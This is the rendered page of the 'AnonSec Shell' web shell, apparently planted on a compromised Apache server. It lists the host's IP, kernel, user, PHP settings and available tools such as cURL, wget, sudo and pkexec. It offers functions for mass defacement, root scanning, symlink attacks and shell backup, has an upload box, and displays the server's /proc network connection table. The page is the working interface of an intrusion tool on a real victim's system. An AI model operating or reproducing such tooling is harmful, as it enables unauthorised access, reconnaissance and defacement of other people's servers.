AnonSec Shell
Server IP : 165.22.154.248  /  Your IP : 216.73.217.167   [ Reverse IP ]
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux droplet-integra 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/24311/task/24331/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/24311/task/24331/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000   112        0 6530575 1 0000000000000000 100 0 0 10 0                   
   1: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 15565 1 0000000000000000 100 0 0 10 0                     
   2: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 19595 19 0000000000000000 100 0 0 10 0                    
   3: F89A16A5:0016 AF2A5C5B:A0ED 03 00000000:00000000 01:00000029 00000001     0        0 0 0 0000000000000000                                      
   4: F89A16A5:0016 0A2A5C5B:CDAE 03 00000000:00000000 01:000003EE 00000005     0        0 0 0 0000000000000000                                      
   5: F89A16A5:0016 D42A5C5B:64A5 03 00000000:00000000 01:0000002E 00000004     0        0 0 0 0000000000000000                                      
   6: F89A16A5:0016 4A2A5C5B:D868 03 00000000:00000000 01:00000261 00000004     0        0 0 0 0000000000000000                                      
   7: F89A16A5:B0BE AA6284D4:01BB 01 00000000:00000000 00:00000000 00000000    33        0 72305166 1 0000000000000000 37 4 30 2 2                   
   8: F89A16A5:0016 C22A5C5B:63B8 03 00000000:00000000 01:00000594 00000004     0        0 0 0 0000000000000000                                      
   9: F89A16A5:0016 2A2A5C5B:28CC 03 00000000:00000000 01:000002E1 00000004     0        0 0 0 0000000000000000                                      
  10: F89A16A5:0016 9E2A5C5B:BFAE 03 00000000:00000000 01:0000057B 00000004     0        0 0 0 0000000000000000                                      
  11: F89A16A5:0016 0C2A5C5B:3106 03 00000000:00000000 01:0000006E 00000005     0        0 0 0 0000000000000000                                      
  12: F89A16A5:0016 682A5C5B:F2D1 03 00000000:00000000 01:00000C08 00000005     0        0 0 0 0000000000000000                                      
  13: F89A16A5:0016 182A5C5B:AF11 03 00000000:00000000 01:00000608 00000005     0        0 0 0 0000000000000000                                      
  14: F89A16A5:0016 F32A5C5B:07F7 03 00000000:00000000 01:00000228 00000003     0        0 0 0 0000000000000000                                      
  15: F89A16A5:0016 F62A5C5B:3D3D 03 00000000:00000000 01:00000921 00000005     0        0 0 0 0000000000000000                                      
  16: F89A16A5:0016 B52A5C5B:0DB3 03 00000000:00000000 01:00000029 00000001     0        0 0 0 0000000000000000                                      
  17: F89A16A5:0016 202A5C5B:E073 03 00000000:00000000 01:00000954 00000005     0        0 0 0 0000000000000000                                      
  18: F89A16A5:0016 192A5C5B:96A5 03 00000000:00000000 01:00000654 00000005     0        0 0 0 0000000000000000                                      
  19: F89A16A5:0016 1A2A5C5B:EA2E 03 00000000:00000000 01:000000EE 00000005     0        0 0 0 0000000000000000                                      
  20: F89A16A5:0016 E02A5C5B:1336 03 00000000:00000000 01:000001F4 00000003     0        0 0 0 0000000000000000                                      
  21: F89A16A5:0016 382A5C5B:909B 03 00000000:00000000 01:00000388 00000005     0        0 0 0 0000000000000000                                      

Anon7 - 2022
AnonSec Team